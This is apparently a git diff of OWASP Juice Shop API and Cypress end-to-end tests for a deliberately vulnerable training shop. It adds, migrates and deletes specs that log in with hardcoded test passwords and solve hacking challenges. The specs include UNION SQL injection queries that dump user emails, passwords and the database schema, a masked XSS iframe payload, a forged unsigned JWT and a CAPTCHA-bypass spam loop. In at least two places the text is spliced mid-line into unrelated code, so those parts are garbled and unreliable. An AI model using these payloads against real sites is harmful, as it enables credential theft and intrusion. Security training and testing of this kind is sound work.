expect(parsedData.orders[0].products[0].name).toBe('Raspberry Juice (1000ml)') + expect(parsedData.orders[0].products[0].price).toBe(4.99) + expect(parsedData.orders[0].products[0].total).toBe(9.98) + expect(parsedData.orders[0].products[0].bonus).toBe(0) + }) + }) + }) + }) + }) + + it('Export data including reviews with use of CAPTCHA', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@' + config.get('application.domain'), + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(REST_URL + '/image-captcha', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json: captchaAnswer }) => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + answer: captchaAnswer.answer, + format: 1 + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('') + expect(parsedData.email).toBe('jim@' + config.get('application.domain')) + expect(parsedData.reviews[0].message).toBe('Looks so much better on my uniform than the boring Starfleet symbol.') + expect(parsedData.reviews[0].author).toBe('jim@' + config.get('application.domain')) + expect(parsedData.reviews[0].productId).toBe(20) + expect(parsedData.reviews[0].likesCount).toBe(0) + expect(parsedData.reviews[0].likedBy[0]).toBe(undefined) + expect(parsedData.reviews[1].message).toBe('Fresh out of a replicator.') + expect(parsedData.reviews[1].author).toBe('jim@' + config.get('application.domain')) + expect(parsedData.reviews[1].productId).toBe(22) + expect(parsedData.reviews[1].likesCount).toBe(0) + expect(parsedData.reviews[1].likedBy[0]).toBe(undefined) + }) + }) + }) + }) + + it('Export data including memories with use of CAPTCHA', () => { + const file = path.resolve(__dirname, '../files/validProfileImage.jpg') + const form = frisby.formData() + form.append('image', fs.createReadStream(file), 'Valid Image') + form.append('caption', 'Valid Image') + + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@' + config.get('application.domain'), + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/memories', { + headers: { + Authorization: 'Bearer ' + jsonLogin.authentication.token, + // @ts-expect-error + 'Content-Type': form.getHeaders()['content-type'] + }, + body: form + }) + .expect('status', 200) + .then(() => { + return frisby.get(REST_URL + '/image-captcha', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json: captchaAnswer }) => { + return frisby.post(REST_URL + '/user/data-export', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + answer: captchaAnswer.answer, + format: 1 + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('json', 'confirmation', 'Your data export will open in a new Browser window.') + .then(({ json }) => { + const parsedData = JSON.parse(json.userData) + expect(parsedData.username).toBe('') + expect(parsedData.email).toBe('jim@' + config.get('application.domain')) + expect(parsedData.memories[0].caption).toBe('Valid Image') + expect(parsedData.memories[0].imageUrl).toContain('assets/public/images/uploads/valid-image') + }) + }) + }) + }) + }) +}) diff --git a/test/api/deliveryApiSpec.ts b/test/api/deliveryApiSpec.ts new file mode 100644 index 00000000000..e7c24dcc45e --- /dev/null +++ b/test/api/deliveryApiSpec.ts @@ -0,0 +1,131 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +import config = require('config') + +const API_URL = 'http://localhost:3000/api' +const REST_URL = 'http://localhost:3000/rest' + +const jsonHeader = { 'content-type': 'application/json' } +let authHeader: { Authorization: string, 'content-type': string } + +describe('/api/Deliverys', () => { + describe('for regular customer', () => { + beforeAll(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@' + config.get('application.domain'), + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json }) => { + authHeader = { Authorization: 'Bearer ' + json.authentication.token, 'content-type': 'application/json' } + }) + }) + + it('GET delivery methods', () => { + return frisby.get(API_URL + '/Deliverys', { headers: authHeader }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json }) => { + expect(json.data.length).toBe(3) + expect(json.data[0].id).toBe(1) + expect(json.data[0].name).toBe('One Day Delivery') + expect(json.data[0].price).toBe(0.99) + expect(json.data[0].eta).toBe(1) + }) + }) + }) + + describe('for deluxe customer', () => { + beforeAll(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'ciso@' + config.get('application.domain'), + password: 'mDLx?94T~1CfVfZMzw@sJ9f?s3L6lbMqE70FfI8^54jbNikY5fymx7c!YbJb' + } + }) + .expect('status', 200) + .then(({ json }) => { + authHeader = { Authorization: 'Bearer ' + json.authentication.token, 'content-type': 'application/json' } + }) + }) + + it('GET delivery methods', () => { + return frisby.get(API_URL + '/Deliverys', { headers: authHeader }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json }) => { + expect(json.data.length).toBe(3) + expect(json.data[0].id).toBe(1) + expect(json.data[0].name).toBe('One Day Delivery') + expect(json.data[0].price).toBe(0.5) + expect(json.data[0].eta).toBe(1) + }) + }) + }) +}) + +describe('/api/Deliverys/:id', () => { + describe('for regular customer', () => { + beforeAll(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@' + config.get('application.domain'), + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json }) => { + authHeader = { Authorization: 'Bearer ' + json.authentication.token, 'content-type': 'application/json' } + }) + }) + + it('GET delivery method', () => { + return frisby.get(API_URL + '/Deliverys/2', { headers: authHeader }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json }) => { + expect(json.data.id).toBe(2) + expect(json.data.name).toBe('Fast Delivery') + expect(json.data.price).toBe(0.5) + expect(json.data.eta).toBe(3) + }) + }) + }) + + describe('for deluxe customer', () => { + beforeAll(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'ciso@' + config.get('application.domain'), + password: 'mDLx?94T~1CfVfZMzw@sJ9f?s3L6lbMqE70FfI8^54jbNikY5fymx7c!YbJb' + } + }) + .expect('status', 200) + .then(({ json }) => { + authHeader = { Authorization: 'Bearer ' + json.authentication.token, 'content-type': 'application/json' } + }) + }) + + it('GET delivery method', () => { + return frisby.get(API_URL + '/Deliverys/2', { headers: authHeader }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .then(({ json }) => { + expect(json.data.id).toBe(2) + expect(json.data.name).toBe('Fast Delivery') + expect(json.data.price).toBe(0) + expect(json.data.eta).toBe(3) + }) + }) + }) +}) diff --git a/test/api/deluxeApiSpec.ts b/test/api/deluxeApiSpec.ts new file mode 100644 index 00000000000..c6e7b6009c5 --- /dev/null +++ b/test/api/deluxeApiSpec.ts @@ -0,0 +1,206 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +import config = require('config') + +const jsonHeader = { 'content-type': 'application/json' } +const REST_URL = 'http://localhost:3000/rest' +const API_URL = 'http://localhost:3000/api' + +async function login ({ email, password }: { email: string, password: string }) { + // @ts-expect-error + const loginRes = await frisby + .post(`${REST_URL}/user/login`, { + email, + password + }).catch((res: any) => { + if (res.json?.type && res.json.status === 'totp_token_required') { + return res + } + throw new Error(`Failed to login '${email}'`) + }) + + return loginRes.json.authentication +} + +describe('/rest/deluxe-membership', () => { + it('GET deluxe membership status for customers', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bender@' + config.get('application.domain'), + password: 'OhG0dPlease1nsertLiquor!' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .expect('json', 'data', { membershipCost: 49 }) + }) + }) + + it('GET deluxe membership status for deluxe members throws error', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'ciso@' + config.get('application.domain'), + password: 'mDLx?94T~1CfVfZMzw@sJ9f?s3L6lbMqE70FfI8^54jbNikY5fymx7c!YbJb' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 400) + .expect('json', 'error', 'You are already a deluxe member!') + }) + }) + + it('GET deluxe membership status for admin throws error', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'admin@' + config.get('application.domain'), + password: 'admin123' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 400) + .expect('json', 'error', 'You are not eligible for deluxe membership!') + }) + }) + + it('GET deluxe membership status for accountant throws error', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'accountant@' + config.get('application.domain'), + password: 'i am an awesome accountant' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' } + }) + .expect('status', 400) + .expect('json', 'error', 'You are not eligible for deluxe membership!') + }) + }) + + it('POST upgrade deluxe membership status for customers', async () => { + const { token } = await login({ + email: `bender@${config.get('application.domain')}`, + password: 'OhG0dPlease1nsertLiquor!' + }) + + const { json } = await frisby.get(API_URL + '/Cards', { + headers: { Authorization: 'Bearer ' + token, 'content-type': 'application/json' } + }) + .expect('status', 200) + .promise() + + await frisby.post(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + token, 'content-type': 'application/json' }, + body: { + paymentMode: 'card', + paymentId: json.data[0].id.toString() + } + }) + .expect('status', 200) + .expect('json', 'status', 'success') + .promise() + }) + + it('POST deluxe membership status with wrong card id throws error', async () => { + const { token } = await login({ + email: `jim@${config.get('application.domain')}`, + password: 'ncc-1701' + }) + + await frisby.post(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + token, 'content-type': 'application/json' }, + body: { + paymentMode: 'card', + paymentId: 1337 + } + }) + .expect('status', 400) + .expect('json', 'error', 'Invalid Card') + .promise() + }) + + it('POST deluxe membership status for deluxe members throws error', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'ciso@' + config.get('application.domain'), + password: 'mDLx?94T~1CfVfZMzw@sJ9f?s3L6lbMqE70FfI8^54jbNikY5fymx7c!YbJb' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + paymentMode: 'wallet' + } + }) + .expect('status', 400) + .expect('json', 'error', 'Something went wrong. Please try again!') + }) + }) + + it('POST deluxe membership status for admin throws error', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'admin@' + config.get('application.domain'), + password: 'admin123' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + paymentMode: 'wallet' + } + }) + .expect('status', 400) + .expect('json', 'error', 'Something went wrong. Please try again!') + }) + }) + + it('POST deluxe membership status for accountant throws error', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'accountant@' + config.get('application.domain'), + password: 'i am an awesome accountant' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(REST_URL + '/deluxe-membership', { + headers: { Authorization: 'Bearer ' + jsonLogin.authentication.token, 'content-type': 'application/json' }, + body: { + paymentMode: 'wallet' + } + }) + .expect('status', 400) + .expect('json', 'error', 'Something went wrong. Please try again!') + }) + }) +}) diff --git a/test/api/erasureRequestApiSpec.ts b/test/api/erasureRequestApiSpec.ts new file mode 100644 index 00000000000..e3285fe7430 --- /dev/null +++ b/test/api/erasureRequestApiSpec.ts @@ -0,0 +1,93 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') + +const jsonHeader = { 'content-type': 'application/json' } +const BASE_URL = 'http://localhost:3000' +const REST_URL = 'http://localhost:3000/rest' + +describe('/dataerasure', () => { + it('GET erasure form for logged-in users includes their email and security question', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bjoern@owasp.org', + password: 'kitten lesser pooch karate buffoon indoors' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(BASE_URL + '/dataerasure/', { + headers: { Cookie: 'token=' + jsonLogin.authentication.token } + }) + .expect('status', 200) + .expect('bodyContains', 'bjoern@owasp.org') + .expect('bodyContains', 'Name of your favorite pet?') + }) + }) + + it('GET erasure form rendering fails for users without assigned security answer', () => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.get(BASE_URL + '/dataerasure/', { + headers: { Cookie: 'token=' + jsonLogin.authentication.token } + }) + .expect('status', 500) + .expect('bodyContains', 'Error: No answer found!') + }) + }) + + it('GET erasure form rendering fails on unauthenticated access', () => { + return frisby.get(BASE_URL + '/dataerasure/') + .expect('status', 500) + .expect('bodyContains', 'Error: Blocked illegal activity') + }) + + it('POST erasure request does not actually delete the user', () => { + const form = frisby.formData() + form.append('email', 'bjoern.kimminich@gmail.com') + + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + } + }) + .expect('status', 200) + .then(({ json: jsonLogin }) => { + return frisby.post(BASE_URL + '/dataerasure/', { + headers: { Cookie: 'token=' + jsonLogin.authentication.token }, + body: form + }) + .expect('status', 200) + .expect('header', 'Content-Type', 'text/html; charset=utf-8') + .then(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'bjoern.kimminich@gmail.com', + password: 'bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=' + } + }) + .expect('status', 200) + }) + }) + }) + + it('POST erasure form fails on unauthenticated access', () => { + return frisby.post(BASE_URL + '/dataerasure/') + .expect('status', 500) + .expect('bodyContains', 'Error: Blocked illegal activity') + }) +}) diff --git a/test/api/feedbackApiSpec.js b/test/api/feedbackApiSpec.ts similarity index 74% rename from test/api/feedbackApiSpec.js rename to test/api/feedbackApiSpec.ts index fd6362b818c..3fabe4f1a8d 100644 --- a/test/api/feedbackApiSpec.js +++ b/test/api/feedbackApiSpec.ts @@ -1,11 +1,17 @@ -const frisby = require('frisby') +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') const Joi = frisby.Joi -const insecurity = require('../../lib/insecurity') +const utils = require('../../lib/utils') +const security = require('../../lib/insecurity') const API_URL = 'http://localhost:3000/api' const REST_URL = 'http://localhost:3000/rest' -const authHeader = { 'Authorization': 'Bearer ' + insecurity.authorize(), 'content-type': /application\/json/ } +const authHeader = { Authorization: 'Bearer ' + security.authorize(), 'content-type': /application\/json/ } const jsonHeader = { 'content-type': 'application/json' } describe('/api/Feedbacks', () => { @@ -35,26 +41,28 @@ describe('/api/Feedbacks', () => { }) }) - it('POST fails to sanitize masked CSRF-attack by not applying sanitization recursively', () => { - return frisby.get(REST_URL + '/captcha') - .expect('status', 200) - .expect('header', 'content-type', /application\/json/) - .then(({ json }) => { - return frisby.post(API_URL + '/Feedbacks', { - headers: jsonHeader, - body: { - comment: 'The sanitize-html module up to at least version 1.4.2 has this issue: <iframe src="javascript:alert(`xss`)">', - rating: 1, - captchaId: json.captchaId, - captcha: json.answer - } - }) - .expect('status', 201) - .expect('json', 'data', { - comment: 'The sanitize-html module up to at least version 1.4.2 has this issue: ' + ) + .type('{enter}') + cy.expectChallengeSolved({ challenge: 'Bonus Payload' }) + }) + }) +}) + +describe('/rest/products/search', () => { + describe('challenge "unionSqlInjection"', () => { + it('query param in product search endpoint should be susceptible to UNION SQL injection attacks', () => { + cy.request( + "/rest/products/search?q=')) union select id,'2','3',email,password,'6','7','8','9' from users--" + ) + cy.expectChallengeSolved({ challenge: 'User Credentials' }) + }) + }) + + describe('challenge "dbSchema"', () => { + it('query param in product search endpoint should be susceptible to UNION SQL injection attacks', () => { + cy.request( + "/rest/products/search?q=')) union select sql,'2','3','4','5','6','7','8','9' from sqlite_master--" + ) + cy.expectChallengeSolved({ challenge: 'Database Schema' }) + }) + }) + + describe('challenge "dlpPastebinLeakChallenge"', () => { + beforeEach(() => { + cy.login({ + email: 'admin', + password: 'admin123' + }) + }) + + it('search query should logically reveal the special product', () => { + cy.request("/rest/products/search?q='))--") + .its('body') + .then((sourceContent) => { + cy.task('GetPastebinLeakProduct').then((productName: Product) => { + let foundProduct = false + + sourceContent.data.forEach((product) => { + if (product.name === productName.name) { + foundProduct = true + } + }) + // eslint-disable-next-line @typescript-eslint/no-unused-expressions + expect(foundProduct).to.be.true + }) + }) + }) + }) + + xdescribe('challenge "christmasSpecial"', () => { + beforeEach(() => { + cy.login({ + email: 'admin', + password: 'admin123' + }) + }) + + it('search query should reveal logically deleted christmas special product on SQL injection attack', () => { + cy.request("/rest/products/search?q='))--") + .its('body') + .then((sourceContent) => { + cy.task('GetChristmasProduct').then((productName: Product) => { + let foundProduct = false + + sourceContent.data.forEach((product: { name: string }) => { + if (product.name === productName.name) { + foundProduct = true + } + }) + // eslint-disable-next-line @typescript-eslint/no-unused-expressions + expect(foundProduct).to.be.true + }) + }) + }) + + it('should be able to place Christmas product into shopping card by id', () => { + cy.request('/api/products') + .its('body') + .then((sourceContent) => { + cy.task('GetChristmasProduct').then((productName: Product) => { + sourceContent.data.forEach((product: Product) => { + if (product.name === productName.name) { + cy.window().then(async () => { + const response = await fetch( + `${Cypress.env('baseUrl')}/api/BasketItems/`, + { + method: 'POST', + cache: 'no-cache', + headers: { + 'Content-type': 'application/json', + Authorization: `Bearer ${localStorage.getItem( + 'token' + )}` + }, + body: JSON.stringify({ + BasketId: `${sessionStorage.getItem('bid')}`, + ProductId: `${product.id}`, + quantity: 1 + }) + } + ) + if (response.status === 201) { + console.log('Success') + } + }) + } + }) + }) + }) + + cy.visit('/#/basket') + cy.get('#checkoutButton').click() + cy.expectChallengeSolved({ challenge: 'Christmas Special' }) + }) + }) +}) diff --git a/test/e2e/tokenSaleSpec.js b/test/cypress/integration/e2e/tokenSale.spec.ts similarity index 51% rename from test/e2e/tokenSaleSpec.js rename to test/cypress/integration/e2e/tokenSale.spec.ts index 84aa1dc83b6..2d203c81ede 100644 --- a/test/e2e/tokenSaleSpec.js +++ b/test/cypress/integration/e2e/tokenSale.spec.ts @@ -1,10 +1,9 @@ describe('/#/tokensale-ico-ea', () => { describe('challenge "tokenSale"', () => { it('should be possible to access token sale section even when not authenticated', () => { - browser.get('/#/tokensale-ico-ea') - expect(browser.getCurrentUrl()).toMatch(/\/tokensale-ico-ea/) + cy.visit('/#/tokensale-ico-ea') + cy.url().should('match', /\/tokensale-ico-ea/) + cy.expectChallengeSolved({ challenge: 'Blockchain Hype' }) }) - - protractor.expect.challengeSolved({ challenge: 'Blockchain Tier 1' }) }) }) diff --git a/test/cypress/integration/e2e/totpSetup.spec.ts b/test/cypress/integration/e2e/totpSetup.spec.ts new file mode 100644 index 00000000000..eb352594892 --- /dev/null +++ b/test/cypress/integration/e2e/totpSetup.spec.ts @@ -0,0 +1,47 @@ +describe('/#/basket', () => { + describe('as wurstbrot', () => { + beforeEach(() => { + cy.login({ + email: 'wurstbrot', + password: 'EinBelegtesBrotMitSchinkenSCHINKEN!', + totpSecret: 'IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH' + }) + }) + + it('should show an success message for 2fa enabled accounts', () => { + cy.visit('/#/privacy-security/two-factor-authentication') + }) + }) + + describe('as amy', () => { + beforeEach(() => { + cy.login({ + email: 'amy', + password: 'K1f.....................' + }) + }) + + it('should be possible to setup 2fa for a account without 2fa enabled', async () => { + cy.visit('/#/privacy-security/two-factor-authentication') + + cy.get('#initalToken') + .should('have.attr', 'data-test-totp-secret') + .then(($val) => { + // console.log($val); + cy.get('#currentPasswordSetup').type('K1f.....................') + + cy.task('GenerateAuthenticator', $val).then((secret: string) => { + cy.get('#initalToken').type(secret) + cy.get('#setupTwoFactorAuth').click() + + cy.get('#currentPasswordDisable').type('K1f.....................') + cy.get('#disableTwoFactorAuth').click() + }) + }) + cy.get('.mat-snack-bar-container').should( + 'contain', + 'Two-Factor Authentication has been removed.' + ) + }) + }) +}) diff --git a/test/cypress/integration/e2e/trackOrder.spec.ts b/test/cypress/integration/e2e/trackOrder.spec.ts new file mode 100644 index 00000000000..67c0aa571d2 --- /dev/null +++ b/test/cypress/integration/e2e/trackOrder.spec.ts @@ -0,0 +1,24 @@ +describe('/#/track-order', () => { + describe('challenge "reflectedXss"', () => { + // Cypress alert bug + xit('Order Id should be susceptible to reflected XSS attacks', () => { + cy.task('disableOnContainerEnv').then((disableOnContainerEnv) => { + if (!disableOnContainerEnv) { + cy.on('uncaught:exception', (_err, _runnable) => { + return false + }) + + cy.visit('/#/track-result') + cy.visit('/#/track-result?id=tizedIFrame') - rating.click() - - submitButton.click() - - expectPersistedCommentToMatch(/SanitizedIFrame/) - }) - - describe('challenge "xss4"', () => { - xit('should be possible to trick the sanitization with a masked XSS attack', () => { - const EC = protractor.ExpectedConditions - - comment.sendKeys('<iframe src="javascript:alert(`xss`)">') - rating.click() - - submitButton.click() - - browser.get('/#/about') - browser.wait(EC.alertIsPresent(), 5000, "'xss' alert is not present") - browser.switchTo().alert().then(alert => { - expect(alert.getText()).toEqual('xss') - alert.accept() - }) - - browser.get('/#/administration') - browser.wait(EC.alertIsPresent(), 5000, "'xss' alert is not present") - browser.switchTo().alert().then(alert => { - expect(alert.getText()).toEqual('xss') - alert.accept() - $$('.mat-cell.mat-column-remove > button').last().click() - browser.wait(EC.stalenessOf(element(by.tagName('iframe'))), 5000) - }) - }) - - // protractor.expect.challengeSolved({ challenge: 'XSS Tier 4' }) - }) - - describe('challenge "vulnerableComponent"', () => { - it('should be possible to post known vulnerable component(s) as feedback', () => { - comment.sendKeys('sanitize-html 1.4.2 is non-recursive.') - comment.sendKeys('express-jwt 0.1.3 has broken crypto.') - rating.click() - - submitButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Vulnerable Library' }) - }) - - describe('challenge "weirdCrypto"', () => { - it('should be possible to post weird crypto algorithm/library as feedback', () => { - comment.sendKeys('The following libraries are bad for crypto: z85, base85, md5 and hashids') - rating.click() - - submitButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Weird Crypto' }) - }) - - describe('challenge "typosquattingNpm"', () => { - it('should be possible to post typosquatting NPM package as feedback', () => { - comment.sendKeys('You are a typosquatting victim of this NPM package: epilogue-js') - rating.click() - - submitButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Typosquatting Tier 1' }) - }) - - describe('challenge "typosquattingAngular"', () => { - it('should be possible to post typosquatting Bower package as feedback', () => { - comment.sendKeys('You are a typosquatting victim of this Bower package: ng2-bar-rating') - rating.click() - - submitButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Typosquatting Tier 2' }) - }) - - describe('challenge "hiddenImage"', () => { - it('should be possible to post hidden character name as feedback', () => { - comment.sendKeys('Pickle Rick is hiding behind one of the support team ladies') - rating.click() - - submitButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Steganography Tier 1' }) - }) - - describe('challenge "zeroStars"', () => { - it('should be possible to post feedback with zero stars by double-clicking rating widget', () => { - browser.executeAsyncScript(() => { - var callback = arguments[arguments.length - 1] // eslint-disable-line - var xhttp = new XMLHttpRequest() - var captcha - xhttp.onreadystatechange = function () { - if (this.status === 200) { - captcha = JSON.parse(this.responseText) - sendPostRequest(captcha) - } - } - - xhttp.open('GET', 'http://localhost:3000/rest/captcha/', true) - xhttp.setRequestHeader('Content-type', 'text/plain') - xhttp.send() - - function sendPostRequest (_captcha) { - var xhttp = new XMLHttpRequest() - xhttp.onreadystatechange = function () { - if (this.status === 201) { - console.log('Success') - callback() - } - } - - xhttp.open('POST', 'http://localhost:3000/api/Feedbacks', true) - xhttp.setRequestHeader('Content-type', 'application/json') - xhttp.send(JSON.stringify({"captchaId": _captcha.captchaId, "captcha": `${_captcha.answer}`, "comment": "Comment", "rating": 0})) // eslint-disable-line - } - }) - }) - - protractor.expect.challengeSolved({ challenge: 'Zero Stars' }) - }) - - describe('challenge "captchaBypass"', () => { - it('should be possible to post 10 or more customer feedbacks in less than 10 seconds', () => { - for (var i = 0; i < 11; i++) { - comment.sendKeys('Spam #' + i) - rating.click() - submitButton.click() - browser.sleep(200) - solveNextCaptcha() // first CAPTCHA was already solved in beforeEach - } - }) - - protractor.expect.challengeSolved({ challenge: 'CAPTCHA Bypass' }) - }) - - describe('challenge "supplyChainAttack"', () => { - it('should be possible to post GitHub issue URL reporting malicious eslint-scope package as feedback', () => { - comment.sendKeys('Turn on 2FA! Now!!! https://github.com/eslint/eslint-scope/issues/39') - rating.click() - - submitButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Supply Chain Attack' }) - }) - - function solveNextCaptcha () { - element(by.id('captcha')).getText().then((text) => { - const answer = eval(text).toString() // eslint-disable-line no-eval - captcha.sendKeys(answer) - }) - } - - function expectPersistedCommentToMatch (expectation) { - browser.get('/#/administration') - expect($$('mat-cell.mat-column-comment').last().getText()).toMatch(expectation) - } -}) diff --git a/test/e2e/directAccessSpec.js b/test/e2e/directAccessSpec.js deleted file mode 100644 index bd8b4e77fd9..00000000000 --- a/test/e2e/directAccessSpec.js +++ /dev/null @@ -1,59 +0,0 @@ -const config = require('config') -let blueprint - -for (const product of config.get('products')) { - if (product.fileForRetrieveBlueprintChallenge) { - blueprint = product.fileForRetrieveBlueprintChallenge - break - } -} - -describe('/', () => { - describe('challenge "easterEgg2"', () => { - it('should be able to access "secret" url for easter egg', () => { - browser.driver.get(browser.baseUrl + '/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg') - }) - - protractor.expect.challengeSolved({ challenge: 'Easter Egg Tier 2' }) - }) - - describe('challenge "premiumPaywall"', () => { - it('should be able to access "super secret" url for premium content', () => { - browser.driver.get(browser.baseUrl + '/this/page/is/hidden/behind/an/incredibly/high/paywall/that/could/only/be/unlocked/by/sending/1btc/to/us') - }) - - protractor.expect.challengeSolved({ challenge: 'Premium Paywall' }) - }) - - describe('challenge "extraLanguage"', () => { - it('should be able to access the Klingon translation file', () => { - browser.driver.get(browser.baseUrl + '/assets/i18n/tlh_AA.json') - }) - - protractor.expect.challengeSolved({ challenge: 'Extra Language' }) - }) - - describe('challenge "retrieveBlueprint"', () => { - it('should be able to access the blueprint file', () => { - browser.driver.get(browser.baseUrl + '/assets/public/images/products/' + blueprint) - }) - - protractor.expect.challengeSolved({ challenge: 'Retrieve Blueprint' }) - }) - - describe('challenge "securityPolicy"', () => { - it('should be able to access the security.txt file', () => { - browser.driver.get(browser.baseUrl + '/security.txt') - }) - - protractor.expect.challengeSolved({ challenge: 'Security Policy' }) - }) - - describe('challenge "emailLeak"', () => { - it('should be able to request the callback on /rest/user/whoami', () => { - browser.driver.get(browser.baseUrl + '/rest/user/whoami?callback=func') - }) - - protractor.expect.challengeSolved({ challenge: 'Email Leak' }) - }) -}) diff --git a/test/e2e/forgedJwtSpec.js b/test/e2e/forgedJwtSpec.js deleted file mode 100644 index c06387c95eb..00000000000 --- a/test/e2e/forgedJwtSpec.js +++ /dev/null @@ -1,21 +0,0 @@ -describe('/', () => { - describe('challenge "jwtTier1"', () => { - it('should accept an unsigned token with email jwtn3d@juice-sh.op in the payload ', () => { - // browser.manage().addCookie({ name: 'token', value: 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIn0sImlhdCI6MTUwODYzOTYxMiwiZXhwIjo5OTk5OTk5OTk5fQ.' }) - browser.executeScript('localStorage.setItem("token", "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIn0sImlhdCI6MTUwODYzOTYxMiwiZXhwIjo5OTk5OTk5OTk5fQ.")') - browser.get('/#/') - }) - - protractor.expect.challengeSolved({ challenge: 'JWT Issues Tier 1' }) - }) - - describe('challenge "jwtTier2"', () => { - it('should accept a token HMAC-signed with public RSA key with email rsa_lord@juice-sh.op in the payload ', () => { - // browser.manage().addCookie({ name: 'token', value: 